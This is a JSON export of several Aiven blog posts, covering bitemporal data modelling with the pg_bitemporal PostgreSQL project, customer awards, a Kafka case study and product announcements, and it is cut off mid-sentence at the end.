Analytics in PostgreSQL® using Aiven for Apache Kafka®, Debezium®, and Aiven for ClickHouse®"}
{"__i18n_lang":"en","_createdAt":"2023-02-27T09:41:10Z","_id":"6eacb7d1-6393-4a52-bfb3-4cf9694b3ef7","_rev":"EyufRNy5j0xIBEOcdzomHE","_type":"post","_updatedAt":"2024-10-30T11:23:07Z","authors":[{"_key":"daaf56a6de0c","_ref":"5bcc0d2e-daa8-4b34-b8f1-40ade6425be0","_type":"reference"}],"body":"Have you ever wondered how to implement things like an employee record that can show whether an employee is a current employee or has left the company? Using most standard databases, this can become cumbersome: you end up needing to add a new line to your database every time an employee’s status changes. \n\nBitemporal data can solve that problem, by allowing you to update one record and query the record’s status as it changes through time. This lets you model your database in a way that corresponds to your actual business, rather than a way that suits your database. \n\nTo learn more about implementing a bitemporal data model with Postgres, read on for a post from a guest contributor, Henrietta (Hettie) Dombrovskaya!\n\n\n## What is bitemporal data?\n\nIf this is the first time you’ve come across the expression bitemporal data, you might be puzzled: time is already considered the fourth dimension, so how can you have more than one time? Before we get more confused, let's take a moment to talk about temporal queries and adding time to data in general. \n\nBitemporal data lets us query changes against a particular piece of data as it changes through time, all in the same record in the database. This is useful for things like employee records (as mentioned above), options trading, and any environment where auditing is a requirement. \n\nThe idea that we should be able to query data at a point in time has been very popular since the dawn of databases. Wouldn't it be nice, for example, in addition to being able to query the current state of things, to query things like: \n\n```sql\nSELECT FIRST_NAME, LAST_NAME, START_DATE, SALARY\nFROM EMPLOYEES\nWHERE DEPARTMENT='SE'\n```\n\nWouldn't it be nice to run the same query for _any date in the past_, like this:\n\n```sql\nSELECT FIRST_NAME, LAST_NAME, START_DATE, SALARY\nFROM EMPLOYEES\nWHERE DEPARTMENT='SE' AS OF 'Sep-01-2022'\n```\n\nOr, maybe, something like this:\n\n```sql\nSELECT FIRST_NAME, LAST_NAME, START_DATE, SALARY\nFROM EMPLOYEES\nWHERE DEPARTMENT='SE' \nWHEN MANAGER ('SE')='John Smith'\n```\n\nAll of these queries reference a specific point in time (\"September 1, 2022\") or are related to a point in time (\"when did John Smith become a manager\"). All of these are extremely useful… and none are supported by regular SQL. \n\nTemporal data is the idea that data changes over time. HR records are an example of this, as an employee's status with the company (employed, no longer employed) changes through time.\n\nAnother use case for temporal data is auditing. Imagine we have a financial report which gives us the revenue for the past six months. We know what the numbers looked like yesterday. Today, we ran the same report, and the numbers for the past month look different.\n\nWhat happened? Apparently, somebody changed some numbers in the database. If we were wise, we have audit tables and triggers that record all modifications in historical tables and could investigate this case and find out when the changes were made. If we weren’t, we have a serious issue on our hands.\n\nHowever, we won't be able to go back in time and rerun the same report as it looked a week ago. Restoring data to a point in time in another environment is a slow process and can't be done on the fly.\n\nWe could achieve both of these use cases using a temporal database. A temporal database understands the data in it through time, rather than in a single current state. \n\nFor a long time, conversations about temporal databases were purely theoretical: they were considered to be too complicated to implement, and so any such implementation was deemed inefficient or too space-intensive. The `pg_bitemporal` project is the one that successfully addresses both classes of problems in one comprehensive solution. \n\n## How bitemporal data works\n\nBitemporal data and its implementation in databases are based on the works of Johnson and Weis’ [Asserted Versioning Framework (AVF)](http://assertedversioning.com/). The Asserted Versioning Framework is a way to operate on data in two-dimensional time.\n\nThe most important feature of AVF is bitemporality: each row in a bitemporal table is associated with two temporal intervals: effective time and asserted time. \n\nEffective time defines when the data contained in a row is _valid_. For example, “John Doe will become our customer on June 1, 2022” has an effective start date of June 1, 2022. We don’t know the end date, so we can assume this statement has an effective end date far in the future. For the purposes of our database, we can set the effective end date to January 1, 2999. Effective time is bound by the real-world business requirements: when John Doe actually becomes or ceases to be our customer.\n\nAsserted time is the time period in which the data in the row is _true_. For example, “John Doe will become our customer on June 1, 2022 and will stop being our customer on January 1, 2999” is true from May 1, 2022 to January 1, 2999. Unlike effective time, asserted time isn’t based on real-world requirements, but is based on the period of time we care about observing. \n\nGiven the above, this is what the **bitemporal insert** looks like on a graph. The infinity sign means “forever in the future”. The bitemporal insert is the area on a graph defined using the effective time and asserted time as bounding axes: \n\n![diagram showing John Doe added to the database on 05-01 and his status changed to silver on 06-01](https://cdn.sanity.io/images/sczeoy4w/production/c48b524c02c2c42d1b91edcfc95e4aa08905886f-3840x918.png)\n\nNow let’s imagine that our data model has some additional data, for example a customer status. “John Doe will become our customer on June 1, 2022, with an initial status of Silver.” is true between _May 1, 2022 and January 1, 2999_.\n\nNow let’s update John Doe’s customer status: “John Doe will become our customer on June 1, 2022, with an initial status of Silver. On September 15, 2022, John Doe’s customer status updated to Gold.”\n\nWhat happens to our asserted dates in this case? Well, we end up with three statements that are true in different circumstances: \n\n- “John Doe **will** become our customer on **June 1, 2022**, with an initial status of **Silver**.” is true between **May 1, 2022** and **January 1, 2999**. \n\n- “John Doe **is** our customer as of **June 1, 2022**, with an initial status of **Silver**” is true between **June 1, 2022** and **January 1, 2999**.\n\n- “John Doe **is** our customer as of **June 1, 2022,** with a status of **Gold**” is true between **September 15, 2022** and **January 1, 2999**.\n\n\nThis kind of record update is called a **bitemporal update**. The previous record (with customer type Silver) is not no longer true for our asserted time. Now we have two historical records, both asserted starting from September 15, 2022 (see Figure 2)\n\n![image showing two historical records as described above. There are now three slices of John Doe's data available.](https://cdn.sanity.io/images/sczeoy4w/production/afeb9dd0a27fcee2dc5363a83dc88f401472109d-3840x2160.png)\n\nNow, if a week later we realize that we made a mistake and the correct type change should have been for _Platinum_, not _Gold_, we can execute a **bitemporal correction** as presented in Figure 3. Now, we currently assert that John Doe’s customer type is _Platinum_ now and previously was _Silver_. But if we go back to any date between September 15 and September 22, we will see a different history – first Silver and then Gold.\n\n![image showing the bitemporal correction described above. There are now four slices of John Doe's data.](https://cdn.sanity.io/images/sczeoy4w/production/e28f8da7eb8d73f7dd178e0fc352138fd20c1cc5-3840x1824.png)\n\n\nNow the following is true of our data:\n\n- “John Doe **will** become our customer on **June 1, 2022**, with an initial status of **Silver**.” is true between **May 1, 2022** and **January 1, 2999**.\n \n- “John Doe **is** our customer as of **June 1, 2022**, with an initial status of **Silver**” is true between **June 1, 2022** and **January 1, 2999**. \n\n- “John Doe **is** our customer as of **June 1, 2022**, with a status of **Gold**” is true between **September 15, 2022** and **January 1, 2999**.\n\n= “John Doe **is** our customer as of **June 1, 2022**, with a status of **Platinum**” is true between **September 22, 2023** and **January 1, 2999.**\n\n## The pg_temporal project\n\nNow, let me introduce to you the [pg_bitemporal](https://github.com/hettie-d/pg_bitemporal) project – a PostgreSQL-based implementation of AVF that works! \n\nThe GitHub repo contains the SQL files with the source code, and the _load_all.sql script installs it for you. The /doc directory contains references and several PowerPoint presentations and recordings, and the/tutorial directory contains bitemporal tutorial.\n\n\n## Why implement this using PostgreSQL?\n\nNow that we understand more about how bitemporal data works on a conceptual level, we can see why it’s difficult to implement: each row in our bitemporal database needs to essentially have its own table for data over time. \n\nSo how do we go about implementing AVF? Well, the pg_temporal project chose PostgreSQL.\n\nPostgreSQL has several features which are critical to make implementation of AVF a success:\n\n- **Range type** support allows defining effective and asserted as timestamp with timezone ranges, thus having only two columns instead of four. Moreover, there are multiple operations defined for time-ranges, like includes and overlaps.\n\n- **Infinity (+/-)** is a special value that is greater than any other value (works for all numeric and DateTime types); we use it to indicate the \"current\" time range.\n\n- **GIST indexes** and GIST with exclusion constraints.\n\n## Learn more with a tutorial\n\nYou can learn how to use temporal data with [this tutorial](https://github.com/hettie-d/pg_bitemporal/tree/master/tutorial). In the tutorial, we build an example bitemporal schema using the following: customer, staff, order and order_line tables. Then, we follow a typical business process: a customer places an order, and then, several changes occur: a customer changes their phone number, a staff is moved to a new location, a product price changes. The tutorial explains when to use bitemporal update, and when - bitemporal correction. It also demonstrates how easy it is to execute different historical queries using the pg_bitemporal.  \n\n\n## About the author\n\nHenrietta (Hettie) Dombrovskaya (currently a Database Architect at DRW) is a database researcher and developer with over 35 years of academic and industrial experience. She holds a Ph.D. in Computer Science from the University of Saint Petersburg, Russia. She taught Database and Transaction theory at the University of Saint - Petersburg (Russia), and at the Computer Systems Institute in Skokie, IL as well as multiple database tuning classes for both beginners and advanced professionals.\n\nHenrietta is very active in the PostgreSQL community. Starting from January 2017 she leads the Chicago Postgres User Group and she regularly talks at the PostgreSQL conferences. Her contributions to the community include the pg_bitemporal project, postgres_air training database, and the NORM technology.\n\n\n---\n\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\n","categories":[{"_key":"49bdab1d91d4","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Photo of Henriette Dombrovskaya, a Database Architect at DW and guest contributor to the Aiven blog","asset":{"_ref":"image-943c7e22a30173599903489becacc68089a1af6c-1567x844-png","_type":"reference"}},"publishedAt":"2023-04-27T08:00:00.000Z","seo":{"_type":"metaData","metaDescription":"What is bitemporal data? How does it work? Check out our Aiven blog and watch a tutorial to learn about implementing a bitemporal data model with Postgres.","metaImage":{"_type":"mainImage","alt":"Photo of Henriette Dombrovskaya, a Database Architect at DW and guest contributor to the Aiven blog","asset":{"_ref":"image-a1a89d438171431eb18c144f277308abcb72e26c-2500x1308-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/two-dimensional-time-with-bitemporal-data"},"subtitle":"The same data, multiple variables: learn to explore data in a new way","title":"Time travel: two-dimensional time with bitemporal data"}
{"__i18n_lang":"en","_createdAt":"2024-02-23T12:21:20Z","_id":"4dfda013-9792-461d-84ef-e0feb6dfad11","_rev":"h4ancfFTuSnQNBSq3Fw8QO","_type":"post","_updatedAt":"2024-11-18T11:39:58Z","authors":[{"_key":"c1e23a100a91","_ref":"3d759db2-54e5-4c4a-94ec-f52be97578dc","_type":"reference"}],"body":"Companies who put innovation at the heart of their businesses can see the direct impact of their technology investments in streamlined operations, new business models, profitability, enhanced customer experiences, and even social impact. Those who are committed to innovation are indeed staying ahead of the competition, can attract the best and brightest talent, and create excitement about their futures.\n\nOur customers have achieved some pretty amazing things over the last year.  So, for our inaugural 2024 Aiven Customer Champion Awards, we are delighted to announce  [GLOBO](https://www.helloglobo.com/), [Avaya](https://www.avaya.com/en/), [Priceline](https://www.priceline.com/) and [Sway AI](https://sway-ai.com/) as the winners.\n\nWe announced our customer champions at Aiven Live — our global event series where we bring together experts in the open source and data technologies world to discuss industry trends and best practices — so the perfect forum to recognise those businesses truly harnessing technology to innovate.  \n\nIt is our customers who ultimately decide on the fate of our own business and if we are not helping them drive value from data and making it easier to reach their business or environmental goals through their data infrastructure, then we wouldn’t exist.  \n\nBut here on stage in New York, we acknowledged and celebrated the outstanding achievements of these businesses for demonstrating innovation, excellence, impact on their customers, and positive impact on the world.  \n\nOur four champions were:\n\n* Tech for Good Champion Award – GLOBO, the translation and interpreting services company.\n* Business Transformation Champion Award — Avaya, a global leader in customer experience solutions.\n* Customer Excellence Champion Award — Priceline, an online travel agency known for providing customers with best-in-class deals\n* Start-up Champion Award — Sway AI, the no-code AI development platform company.\n\n\nThese incredibly smart, ambitious and innovative companies are truly creating amazing experiences for their customers and improving the world around us. We at Aiven have one simple goal and that is to simplify the management of data infrastructures to unleash data-driven innovation, and we are ecstatic that our data platform is helping create such transformation and impact.\n\nSo, what did these four businesses, selected from an incredible list of organisations who continue to push frontiers, achieve to become customer champions?\n\nThe Tech for Good Champion Award, won by [GLOBO](https://www.youtube.com/watch?v=NWrKM2xSk0Y), recognizes organizations that are using technology to deliver a positive impact on the world. GLOBO is purposefully driving toward a future of more equitable experiences for everyone. Through its one simple platform, users have the ability to communicate in any language, 24/7. GLOBO is committed to delivering resilience, reliability, and sustainability in their services, around the clock, and it is the Aiven Platform which has been able to provide the foundation for delivering this.\n\n[Avaya](https://aiven.io/case-studies/avaya-transitions-to-the-cloud-with-the-aiven-platform) won the Business Transformation Champion Award for its use of technology to respond to a changing market and delivering significantly improved performance. Avaya has been undergoing a major transformation of its business, that has included helping move its global customer base from largely on-premises to the cloud. Avaya’s market share depended on making a number of its critical services, including its flagship call-center solution, available in the cloud to drive significant cost savings, efficiencies and improve competitiveness, which it has achieved.  With Aiven, Avaya has been able to focus more of its resources on developing its business instead of managing open source technologies in the cloud, which the Aiven data platform and expertise has provided.\n\nThe Customer Excellence Champion Award bestowed upon [Priceline](https://aiven.io/case-studies/best-deal-for-priceline) underscores its adept utilization of technology in delivering unparalleled customer experiences. Leveraging advanced data science techniques, Priceline has innovatively devised means to provide discounted offerings encompassing airline seats, accommodations and rental cars, all seamlessly bundled within a singular transaction. Through the integration of the Aiven Platform, Priceline has effectively transitioned the complexities of on-premises  infrastructure, thereby streamlining operations and optimizing resource allocation. This strategic collaboration has endowed Priceline with rapid analytics capabilities, facilitating insights extraction from its data in under two minutes. This enables Priceline to maintain its focus on delivering the best travel deals to their customers and helping them in experiencing the moments that matter. Today, the Aiven Platform, hosted on the Google Cloud infrastructure, serves as a cornerstone of Priceline's real-time data processing.\n\nAnd the incredibly smart [Sway AI](https://sway-ai.com/) took the Start-up Champion Award. This award recognizes the achievements of amazing people who have had a great idea, spotted an opportunity, and launched a new product or service with the help of the [Aiven Cluster](https://aiven.io/cluster) start-up program. Through Sway AI’s no-code AI development platform, the company is  making AI’s potential accessible to all. It is empowering businesses to create powerful Al and ML applications without the need for specialized data science skills or writing a line of code. By combining Aiven’s data platform with Sway Al’s modelling and insight capabilities, it can offer an end-to-end answer for their customers’ data platform needs.\n\nA huge congratulations to our customers.\n\n\n**To learn more about how the Aiven data platform, available on five hyperscaler clouds, is helping customers of all sizes and across the world, please visit our [customer](https://aiven.io/customer) page.**","categories":[{"_key":"f3d7f6dd09f3","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"ef0394bee1c9","_ref":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_type":"reference"},{"_key":"10c3100325e3","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-280b1673794873f7e2e8acd45c2d4b6fabdfcca0-1920x1080-png","_type":"reference"}},"publishedAt":"2024-02-28T17:00:00.000Z","seo":{"_type":"metaData","metaTitle":"Aiven Customer Champion Awards 2024 Celebrate Innovation"},"slug":{"_type":"slug","current":"/blog/aivens-customer-champions-awards-2024"},"subtitle":"Aiven's inaugural Customer Champion awards recognize companies for their remarkable achievements in innovation, excellence and global impact. \n","title":"Aiven’s Customer ‘Champions’ GLOBO, Avaya, Priceline and Sway AI Awarded for Innovation, Excellence and Impact "}
{"__i18n_lang":"en","_createdAt":"2023-10-10T13:38:19Z","_id":"ba61f454-7a62-4e37-8c75-fa4a545177a7","_rev":"h4ancfFTuSnQNBSq3IUYk8","_type":"post","_updatedAt":"2024-11-19T06:01:51Z","authors":[{"_key":"50d28dee5cea","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"Alterra Bills is a trusted bill payment aggregator in Indonesia. With the digital payments market growing fast, Alterra Bills needs a robust data infrastructure to handle the huge volume of data generated by the millions of transactions it processes each month. By using Aiven for Apache Kafka®, Alterra Bills has significantly improved payment success rates, can deliver insightful data faster to the business for decision-making and has saved 40% on costs.\n\n## Bringing innovation to bill payment services in Indonesia\nAlterra Bills is a bill payment service provider that connects bill issuer institutions in Indonesia with payment channels and end-users. It is part of Alterra Indonesia which was founded in Jakarta in 2015. The company has a B2B business model and partners with more than 200 payment channels to accept payments for 1,500 digital products including phone credits, Internet data packages, electricity tokens, e-money, game vouchers, multi-finance, BPJS (Indonesia’s social security agency of health entity) and Telekom. Alterra Bill’s vision is to bring innovation to bill payment services in Indonesia.\n\n## Managing data in real time\nWith the digital payments market growing fast, and working with so many partners and products, Alterra Bills handles millions of transactions each month which generate huge volumes of data. A robust infrastructure to support this data is essential for the delivery of fast payment services and in ensuring a high success rate for completed payments. Therefore, Alterra Bills has the need to improve performance of the data infrastructure which is connected to stability aspects with ‘Smart Biller’ — its smart billing system — which will impact the success rate of payments. \n\nAlterra Bills also uses the vast volumes of data to inform business decisions and produces insightful daily and monthly reports.  \n\u003e“Data is crucial to us. Every decision we make is data driven. It allows us to gain insights into our business which help us to make better and more informed decisions from the most basic level through to our strategy. We don’t make decisions based on assumptions. As such, having the capability to effectively manage our data in real time is of paramount importance to us,” - Kevin Setiawan Tanzil, IT Lead at Alterra Bills.\n\nWith such a data-driven culture in place, requests for data are made from all parts of the organization. These requests can require complex data queries and the business increasingly expects near instant responses to those queries. \n\nTo increase the success rate of Smart Biller and to ensure data requests from the business were handled quickly and efficiently, Tanzil and his team needed to optimize the performance of the company’s data infrastructure.\n\n## Managed service from Aiven offers best performance and price\nAt the time, Alterra Bills was using Apache Kafka® as its data streaming platform — the open source technology is ideally suited to handling high volumes of data with very low latency. Alterra Bills used Change Data Capture (CDC) to ingest data from the database into Apache Kafka which then processed data in real time for reporting and data warehousing. \n\nThe company was also using Apache Kafka as part of Smart Biller to support the switch breaker system. The switch breaker ensures a high success rate of payment acceptances by automatically switching transactions to another supplier if a customer experiences a problem. \n\nIncreased stability, lower latency, time savings and cost reductions\nAlterra Bills now uses Aiven for Apache Kafka to achieve stability in Smart Biller’s switch breaker. With the switch breaker running steadily, latency is lower and the transaction success rate has increased to a high of 95%. \n\n\u003e “We envision a dependable system, and once that is achieved, the next step is to know how to maintain it. With Aiven for Apache Kafka in place, our partners are happier because payments have a higher success rate and lower latency,” - Kevin Setiawan Tanzil, IT Lead at Alterra Bills.\n\nPerformance improvements are notable across the data infrastructure thanks to the Aiven service. For example, the process of reconciling data from Alterra Bills with data from partners has accelerated.\n\nAiven for Apache Kafka has enabled real-time data management for Alterra Bills.  When compared to CDC data retrieval technology which can take up to 15 minutes, data management has become much faster. Because the same data is stored in Apache Kafka, business departments across the organization that require the same data do not have to process it twice. \n\nIn addition to the significant performance gains which have improved payment success rates and the faster delivery of insightful data to the business for decision-making, Alterra Bills is saving up to 40% on costs by utilizing managed services from Aiven. \n\n\u003e “Aiven has brought us cost savings of 40%. We’re also saving on human resources and time because Aiven handles all the maintenance. This essentially frees up time for our team to focus on more strategic activities like creating innovative solutions for our customers.” -\nKevin Setiawan Tanzil, IT Lead at Alterra Bills\n\nTanzil and his team have been impressed with Aiven’s technical support. Aiven provides 24/7/365 monitoring, ensures 99.99% uptime and always has experts available. “We have the lowest support package but we feel fully supported from a technical and after-sales standpoint. Communication with them has always been easy,” says Tanzil. \n","categories":[{"_key":"7eb09464d273","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"c02fed4f0cb3","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"34d98de0e710","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"41defdde-593b-4266-971d-d5fde91e1e89","_type":"reference"},"ctaText":"Read the customer story","previewImage":{"_type":"mainImage","asset":{"_ref":"image-d7035dfe24577b778b4b5928f6deb6d81cc0e72d-3295x1724-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Case Study, Use Case, Apache Kafka Use Case, Aiven for Apache Kafka Example, Aiven for Apache Kafka, Apache Kafka, MySQL, Aiven for MySQL, Aiven for MySQL Example, MySQL Use Case, Alterra Bills","asset":{"_ref":"image-d7035dfe24577b778b4b5928f6deb6d81cc0e72d-3295x1724-png","_type":"reference"}},"publishedAt":"2023-10-11T07:30:00.000Z","related":[{"_key":"a8a1366b5d13","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"01f7118b03ed","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"be85c2f28b9a","_ref":"77f254fc-fc3a-4fc6-9592-a4a2530c36b6","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Alterra Bills uses Aiven for Apache Kafka® to improve digital payments, deliver faster data insights, and save costs. Find out more!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d7035dfe24577b778b4b5928f6deb6d81cc0e72d-3295x1724-png","_type":"reference"}},"metaTitle":"Alterra Bills Saves 40% on Costs with Apache Kafka® | Aiven"},"slug":{"_type":"slug","current":"/blog/alterra-bills-improves-stability-lowers-latency"},"subtitle":"Aiven for Apache Kafka® improves stability and lowers latency","title":"Alterra Bills Increases Success Rate of Smart Billing System to 95% and Achieves 40% Cost Reduction with Aiven"}
{"__i18n_lang":"en","_createdAt":"2024-05-17T09:21:21Z","_id":"e6c815e6-81b6-4fb9-8269-072853775316","_rev":"h4ancfFTuSnQNBSq3JIpoy","_type":"post","_updatedAt":"2024-11-19T11:49:06Z","authors":[{"_key":"292d4a05ec61","_ref":"2fed39bf-2e91-416d-b529-7213d234d1ac","_type":"reference"}],"body":"An efficient data infrastructure is a vital component in building \u0026 operating scalable and performant applications that are widely adopted, satisfy customers, and ultimately, drive business growth. Unfortunately, the speed of new feature delivery coupled with a lack of database optimization knowledge is exposing organizations to high risk performance issues. The new [Aiven AI Database Optimizer](https://aiven.io/solutions/aiven-ai-database-optimizer) helps organizations address performance both in the development and production phase, making it simple to quickly deploy, fully optimized, scalable, and cost efficient applications.\n\nFully integrated with [Aiven for PostgreSQL](https://aiven.io/postgresql)®, Aiven AI Database Optimizer offers AI-driven performance insights, index, and SQL rewrite suggestions to maximize database performance, minimize costs, and make the best out of your cloud investment. \n\n\n## How does AI Database Optimizer work? \n\n\nAiven AI Database Optimizer is a non-intrusive solution powered by [EverSQL by Aiven](https://www.eversql.com/) that gathers information about database workloads, metadata and supporting data structures, such as indexes. Information about the number of query executions and average query times are continually processed by a mix of heuristic and AI models to determine which SQL statements can be further optimized. AI Database Optimizer then delivers accurate, secure optimization suggestions that you can trust, and that can be adopted to speed up query performance.\n\nRecommendations from Aiven’s AI Database Optimizer are already trusted by over 120,000 users in organizations ranging from startups to the largest global enterprises, who have optimized more than 2 million queries to date.\n\n\n## How does AI Database Optimizer help organizations?\n\nDuring development, AI Database Optimizer enables early performance testing, allowing easier redesign or refactoring of queries before they impact production. This enables customers to foster a culture of considering performance from the get-go, ensuring it is a priority throughout development rather than an afterthought.\n\nAI Database Optimizer also helps businesses gain an optimal user experience: \n\n\n* With fast query response times that ensure a smooth and responsive user experience, especially in data-intensive applications.\n* By identifying and fixing performance bottlenecks organizations can reduce costs, avoid outages and deliver continuous service availability.\n\n\nA fleet of Aiven for PostgreSQL® databases is powering [La Redoute](https://www.youtube.com/watch?v=mPWxizlA3so)’s marketplace functionality, driving 30% of their business. \nDiogo Passadouro - OPS-DBA Team Lead stated *\"Aiven AI Database Optimizer has revolutionized the way we analyze database performance, providing a simple, clear and highly effective approach and has proven instrumental in enhancing the performance of our databases.\"*\n\n![Quote from Diogo Passadouro](https://cdn.sanity.io/images/sczeoy4w/production/783e94bbcbfc97127ffd4f06e7d0a765dd51345b-1200x628.png)\n\n[Conrad](https://aiven.io/case-studies/conrad-electronic-expands-e-commerce-platform-with-aiven) is an advanced B2B sourcing platform selling 9 million products from 6,000 brands, powered by Aiven. Janek Wonner - Head of SRE \u0026 Cloud Technology stated *\"Aiven for PostgreSQL is underpinning our fundamental company functionalities, we are looking forward to adopt Aiven AI database optimizer to empower our developers to create scalable code and empower our development teams with better performance insights and improvement suggestions to reduce the time to fix performance issues\"*\n\n![Quote from Janek Wonner](https://cdn.sanity.io/images/sczeoy4w/production/5deeb953cbf0fdea0dd77fa1b1fad47abb450388-1200x628.png)\n\nMore information is available in the [Aiven AI Database Optimizer page](https://aiven.io/solutions/aiven-ai-database-optimizer). You can experience it for yourself in any [Aiven for PostgreSQL](https://aiven.io/postgresql) service for free during the Early Availability phase. Simply navigate to the “AI Insights” tab. \n\n[Try it now](https://console.aiven.io/signup) or [Contact us](https://aiven.io/book-demo) today to check it out!\n","categories":[{"_key":"978bfc6f3afd","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"dcf868fb6560","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"},{"_key":"3f7ba3048683","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-e1b2bfdc6c1919dd9e07f96e057a5b5c491ae1da-1200x628-png","_type":"reference"}},"publishedAt":"2024-05-28T12:00:00.000Z","related":[{"_key":"b08bd15e9b99","_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"},{"_key":"3da690593edf","_ref":"281f464e-64e7-4369-af86-c95bf5fe7e36","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Increase database performance by 10x with an expert, AI-driven, professional available 24/7. Find out more about the Aiven AI Database Optimizer! ","metaTitle":"Aiven’s AI Database Optimizer for Enhanced Performance"},"slug":{"_type":"slug","current":"/blog/aiven-ai-dboptimizer-launch"},"subtitle":"Increase database performance by 10x with an expert, AI-driven, professional available 24/7.","title":"Introducing Aiven's AI Database Optimizer: The First Built-In SQL Optimizer for Enhanced Performance"}
{"__i18n_lang":"en","_createdAt":"2024-09-09T12:31:27Z","_id":"e547c921-8e70-47d2-a5cb-b473cb07455c","_rev":"sEwq5NBiPauorOxrhf0BrH","_type":"post","_updatedAt":"2024-11-18T11:55:53Z","authors":[{"_key":"5117eb1f9e54","_ref":"7d07d38b-059b-4829-bd63-cb448c846ce6","_type":"reference"}],"body":"We're excited to announce the Aiven Platform which offers fully managed, scalable open-source data technologies is now available on the [Oracle Cloud Marketplace](https://cloudmarketplace.oracle.com/marketplace/en_US/listing/171651353). This collaboration allows Oracle Cloud customers to effortlessly access a wide range of popular open-source data technologies, including PostgreSQL®, Apache Kafka® and OpenSearch®, with Aiven.\n\nOracle Cloud has rapidly grown into a compelling option in the cloud market, thanks to its extensive suite of products, consistent pricing, and global datacenter footprint. These strengths make it a powerful option for organizations looking to handle data workloads efficiently. Now, with Aiven’s offerings available on Oracle Cloud, customers can further enhance their Oracle Cloud experience by seamlessly integrating the most popular open-source technologies into their operations.\n\n## Enhancing Oracle Cloud with Aiven\n\nBy incorporating Aiven's services, Oracle Cloud customers gain the ability to adopt industry-leading open-source technologies with full management, scalability, and compliance, enabling organizations globally to drive new business opportunities, enhance user experiences, accelerate business outcomes, and reduce risks and costs.\n\nThe addition of Aiven’s data and AI platform on Oracle Cloud Marketplace empowers organizations to expand their cloud strategy. Customers can now easily manage and maintain their data infrastructure with the powerful capabilities of Aiven's technology. This collaboration ensures that Oracle Cloud customers can launch fully managed clusters in their preferred region with just a few clicks, making it easier than ever to benefit from the flexibility, transparency and cost-effectiveness of open source technologies, allowing them to focus on innovation and business growth.\n\nWith Aiven now available on Oracle Cloud Marketplace, customers will be able to effortlessly deploy and scale services, ensuring that they run reliably and securely. The platform supports seamless integration with other Oracle services, such as Oracle Object Storage and Oracle Cloud Infrastructure Monitoring.   It will also offer simplified access and centralized billing and enable customers to leverage their existing commitments with Oracle while expanding their technology stack with Aiven’s offerings, further enhancing their cloud capabilities.\n\nTo learn more about Aiven on Oracle Cloud Marketplace, you can visit our listing [here](https://cloudmarketplace.oracle.com/marketplace/en_US/listing/171651353).","categories":[{"_key":"f5c3d88a2160","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-74b1ac8acf75279b8565df7c6e723a96783976e0-1200x630-jpg","_type":"reference"}},"publishedAt":"2024-09-11T13:00:00.000Z","related":[{"_key":"3a0585d41b2b","_ref":"1408bc7f-be88-4390-a8b0-2b1e157f6fbe","_type":"reference"},{"_key":"5053d58db010","_ref":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_type":"reference"},{"_key":"8b7de04db517","_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Aiven Platform Now Available on Oracle Cloud Marketplace"},"slug":{"_type":"slug","current":"/blog/aiven-expands-oracle-cloud-marketplace-offering"},"subtitle":"The Aiven Platform with fully managed, scalable open source data technologies is now available on Oracle Cloud Marketplace.","title":"Aiven Expands Oracle Cloud Marketplace Offering with Popular Open Source Data Technologies"}
{"__i18n_lang":"en","_createdAt":"2023-05-23T08:58:41Z","_id":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_rev":"h4ancfFTuSnQNBSq3Fy1KO","_type":"post","_updatedAt":"2024-11-18T11:58:25Z","authors":[{"_key":"9b4a4997ca10","_ref":"21826e5e-978d-4861-aac3-716443cd9095","_type":"reference"}],"body":"According to Gartner, worldwide spending on public cloud services will grow 20.7% to total \\$591.8 billion in 2023, up from \\$490.3 billion in 2022. Given the continued growth in usage of the cloud among large organizations, it is unsurprising that many enterprises take advantage of discount plans such as AWS Savings Plans or Google Cloud Committed Use Discounts to optimize their cloud spend. AWS Savings Plans can provide up to a 72% discount in comparison to On-Demand prices in exchange for a commitment to using their cloud infrastructure services for up to three years. \n\nWhile these discount plans can save enterprises money, many companies are concerned about the long term commitment and the potential to lose flexibility in the control of their data. This is especially pertinent for companies in regulated industries like healthcare or finance, as there can be strict requirements for the data to stay on infrastructure that they control at all times. \n\nAiven has always partnered with our customers to help them optimize their cloud spend. More than five years ago, we deployed the first custom account setup, enabling one of our large eCommerce customers to create managed Aiven services directly within their public cloud account. As a result, this customer was able to fulfill their long-term financial commitment with their cloud infrastructure provider, while at the same time having the flexibility and choice to benefit from Aiven’s services, including Apache Kafka®, PostgreSQL® and OpenSearch®.\n\nWith the increasing popularity of the custom account setup program, we are now pleased to announce general availability of Aiven’s Bring 